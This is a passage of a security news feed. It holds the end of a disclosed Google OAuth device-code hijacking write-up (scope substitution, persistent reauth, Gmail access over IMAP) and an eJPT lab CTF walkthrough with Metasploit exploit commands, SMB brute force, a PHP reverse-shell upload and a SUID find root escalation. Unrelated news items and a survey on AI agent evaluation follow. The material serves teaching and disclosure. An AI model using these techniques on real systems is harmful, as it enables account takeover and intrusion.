of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Castlevania: Belmont’s Curse - Komani classic rises again from Paris sewers and Joan of Arc is a boss]]></title>
<description><![CDATA[Evil Empire creatives explain how it is playing to today’s ‘metroidvanias’ and honouring the original’s legacy with much fresh slaying to be doneSince the last Castlevania game hit the shelves (2014’s Castlevania: Lords of Shadow 2), Konami’s dormant series has unexpectedly spawned a hit genre. W...]]></description>
<link>https://tsecurity.de/de/3675337/it-nachrichten/castlevania-belmonts-curse-komani-classic-rises-again-from-paris-sewers-and-joan-of-arc-is-a-boss/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675337/it-nachrichten/castlevania-belmonts-curse-komani-classic-rises-again-from-paris-sewers-and-joan-of-arc-is-a-boss/</guid>
<pubDate>Fri, 17 Jul 2026 09:18:04 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Evil Empire creatives explain how it is playing to today’s ‘metroidvanias’ and honouring the original’s legacy with much fresh slaying to be done</p><p></p><p>Since the last Castlevania game hit the shelves (2014’s<a href="https://www.theguardian.com/technology/2014/mar/02/castlevania-lords-of-shadow-2-dracula-sequel"> Castlevania: Lords of Shadow 2</a>), Konami’s dormant series has unexpectedly spawned a hit genre. With an entire generation raised on “metroidvanias” – a portmanteau of Metroid and Castlevania – millions of players have only ever seen the games <em>inspired by </em>Konami’s seminal games. Now with Belmont’s Curse, launching in October, Castlevania is finally dashing back to console, where Konami hopes to reclaim its side-scroller throne.</p><p>Set 23 years after the events of 1989’s Castlevania 3 – the same setting as the hit Netflix show – Belmont’s Curse shakes off the series’ 3D ambitions and takes the Belmonts back to basics. Dispatching players to the demon-infested streets of 1499 Paris, you’re placed in the tattered boots of Trevor Belmont’s daughter, Rose. As a bishop pleads with the Belmonts to rid Paris of the ancient evil besetting the city, Rose heads into the sewers, longsword in hand, and her demon-slaying adventure begins.</p> <a href="https://www.theguardian.com/games/2026/jul/17/castlevania-belmonts-curse-komani-classic-paris-joan-of-arc-is-a-boss">Continue reading...</a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Host & Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)]]></title>
<description><![CDATA[A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.Hello everyone!In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this ...]]></description>
<link>https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675299/hacking/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:39 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><em>A walkthrough covering ProFTPD mod_copy exploitation, local service banner grabbing, SMB brute-force with webshell upload, and SUID binary privilege escalation to capture all four flags.</em></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87U4fyepLVSRM9bGtqmnbQ.png"></figure><p>Hello everyone!</p><p>In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.</p><p>So, let’s dive in.</p><h3>Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.</h3><p>As usual, I started with an Nmap scan:</p><pre>nmap -sV -sC target1.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0esbkOoRoB_2RtbiA5RC5A.png"></figure><p>Port 21 was open running <strong>ProFTPD 1.3.5</strong>, alongside port 80 (Apache). I searched for known exploits:</p><pre>searchsploit ProFTPD 1.3.5</pre><p>A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:</p><pre>use exploit/unix/ftp/proftpd_modcopy_exec<br>set rhosts target1.ine.local<br>set sitepath /var/www/html<br>set lhost eth1<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K2zB3Wo4YD4eFRiTKACYgA.png"></figure><p>A shell session opened. I upgraded it to Meterpreter:</p><pre>sessions -u 1</pre><p>Then listed the root directory:</p><pre>meterpreter &gt; ls /</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/931/1*iCgXij4caoCW23EhRWepQg.png"></figure><p>flag1.txt was sitting right there in the root.</p><h3>Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.</h3><p>I read the flag file:</p><pre>meterpreter &gt; cat /flag1.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*v3_wdlMA0-lFjjny7xr6og.png"></figure><p>Along with the flag value, it contained a hint: <em>“Remember, the magical word is ‘letmein’”</em>.</p><p>The question mentioned a local network service, so I checked what was listening internally:</p><pre>meterpreter &gt; netstat</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YTpn4VegwuC0aysg0ZpMQg.png"></figure><p>Port <strong>8888</strong> was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:</p><pre>meterpreter &gt; shell<br>nc -nv 127.0.0.1 8888</pre><p>It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KgH6U6iOXZPUsuKXWyhwQ.png"></figure><h3>Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?</h3><p>Fresh Nmap scan on the second target:</p><pre>nmap -sV -sC target2.ine.local</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4jYtDskVIXurPFFNQhNwg.png"></figure><p>Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read <em>“Can you Pwn me?”</em> — a clear invitation. I brute-forced SMB credentials across both users and passwords:</p><pre>use auxiliary/scanner/smb/smb_login<br>set rhosts target2.ine.local<br>set user_file /usr/share/wordlists/metasploit/common_users.txt<br>set pass_file /usr/share/wordlists/metasploit/unix_passwords.txt<br>set createsession true<br>set verbose false<br>run</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PKSOkZ__Hrp-fpVWGLqkqg.png"></figure><p>Six accounts came back with valid credentials, all with the same password. Multiple SMB sessions opened automatically. I used the administrator session:</p><pre>sessions 8<br>shares<br>shares -i site-uploads<br>ls</pre><p>The site-uploads share was accessible and writable. The name itself was the giveaway — this share was almost certainly mapped to the web root. I uploaded a PHP reverse shell set to my IP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i_lZOr4nmUqskbA6wbXWoA.png"></figure><p>Set up a multi/handler listener, then triggered the shell by navigating to:</p><pre>http://target2.ine.local/site-uploads/shell.php</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lh-O23_XLKJK5Dze3TSp6w.png"></figure><p>Shell came back. Listing the root / directory showed flag3.txt right there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*vC0LfSf5aZCHXWm74C4cCA.png"></figure><h3>Q. Can you escalate to root on target2.ine.local and read the flag from the restricted /root directory?</h3><p>Still in the shell session, I upgraded to Meterpreter first:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Meqrnjx574wtEQjF1akclQ.png"></figure><p>Then dropped into a shell and searched for SUID binaries — files that run with the owner’s privileges regardless of who executes them:</p><pre>find / -type f -perm -4000 2&gt;/dev/null</pre><p>/usr/bin/find itself had the SUID bit set and was owned by root. This is a classic privilege escalation vector — if find runs as root and can execute commands, any user can spawn a root shell through it.</p><p>I checked <a href="https://gtfobins.org/">GTFOBins</a> — a community database of Unix binaries that can be abused to bypass local security restrictions — for the correct syntax:</p><pre>find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iCjLaASM-_9QRWRipFiEFA.png"></figure><p>whoami returned root. Flag 4 was in /root.</p><h3>Final Thoughts</h3><p>Two techniques in this CTF are worth remembering beyond the lab.</p><p>The hidden port 8888 on target1 is a reminder that netstat inside a session reveals far more than an external Nmap scan ever will — internal services are invisible from outside and often completely unprotected because of it. Always check what's listening locally once you have a foothold.</p><p>The SUID find escalation on target2 is a textbook GTFOBins vector. The lesson isn't just about find specifically — it's about building the habit of checking for SUID binaries early in post-exploitation. And GTFOBins is the resource to bookmark: if a binary is on that list and has SUID, you likely have a path to root.</p><p>Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=9815c8abdfcb" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/host-network-penetration-testing-exploitation-ctf-3-ejpt-ine-9815c8abdfcb">Host &amp; Network Penetration Testing: Exploitation CTF 3 — eJPT (INE)</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Notebooksbilliger: Angebote der Woche stark reduziert 17. Juli]]></title>
<description><![CDATA[Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(Weiter lesen)]]></description>
<link>https://tsecurity.de/de/3675162/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-17-juli/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675162/it-security-nachrichten/notebooksbilliger-angebote-der-woche-stark-reduziert-17-juli/</guid>
<pubDate>Fri, 17 Jul 2026 07:53:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784266328"><img hspace="5" border="0" align="left" alt="NBB, Notebooksbilliger, nbb.com, ADW, Angebote der Woche" width="1920" height="1080" src="https://i.wfcdn.de/teaser/1920/65494.png"></a>
			Notebooksbilliger.de bie­tet der­zeit wie­der vie­le Pro­duk­te zum stark re­du­zier­ten Preis. So­lange der Vor­rat reicht, gibt es al­ler­hand Schnäpp­chen, die, im direkten Vergleich zum Stra­ßen­preis, erneut deut­lich re­du­ziert wur­den.			(<a href="https://winfuture.de/special/notebooksbilliger/angebote#1784266328">Weiter lesen</a>)]]></content:encoded>
</item>
<item>
<title><![CDATA[China beats Elon Musk’s Neuralink to the world’s first commercial brain-computer interface implant — car crash victim given coin-sized chip that turns neural signals into hand movements]]></title>
<description><![CDATA[Regulatory approval of brain implants in China mean they can now be fixed to the brains of anyone who wants to try them.]]></description>
<link>https://tsecurity.de/de/3674439/it-nachrichten/china-beats-elon-musks-neuralink-to-the-worlds-first-commercial-brain-computer-interface-implant-car-crash-victim-given-coin-sized-chip-that-turns-neural-signals-into-hand-movements/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674439/it-nachrichten/china-beats-elon-musks-neuralink-to-the-worlds-first-commercial-brain-computer-interface-implant-car-crash-victim-given-coin-sized-chip-that-turns-neural-signals-into-hand-movements/</guid>
<pubDate>Thu, 16 Jul 2026 21:01:27 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Regulatory approval of brain implants in China mean they can now be fixed to the brains of anyone who wants to try them.]]></content:encoded>
</item>
<item>
<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674237/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 16 Jul 2026 19:03:24 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[47 requests, zero answers — How Proton VPN keeps saying no to data demands]]></title>
<description><![CDATA[Proton VPN's updated transparency report shows 47 data requests in the first half of 2026. These were all rejected because its audited no-logs policy leaves nothing to hand over.]]></description>
<link>https://tsecurity.de/de/3674194/it-nachrichten/47-requests-zero-answers-how-proton-vpn-keeps-saying-no-to-data-demands/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674194/it-nachrichten/47-requests-zero-answers-how-proton-vpn-keeps-saying-no-to-data-demands/</guid>
<pubDate>Thu, 16 Jul 2026 18:47:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Proton VPN's updated transparency report shows 47 data requests in the first half of 2026. These were all rejected because its audited no-logs policy leaves nothing to hand over.]]></content:encoded>
</item>
<item>
<title><![CDATA[Gericht bestätigt: Abzocke mit Sofortrenten! ⚖️ | Anwalt Christian Solmecke]]></title>
<description><![CDATA[Author: WBS LEGAL - Bewertung: 9x - Views:62 Jetzt Sofortrenten-Vertrag kostenfrei checken lassen: https://wbs.law/rente

Du hast eine Kündigung erhalten? Wir prüfen deinen Anspruch auf eine Abfindung. ➔ https://wbs.law/abfindung2

▬▬▬▬▬▬▬▬▬▬▬▬▬ 

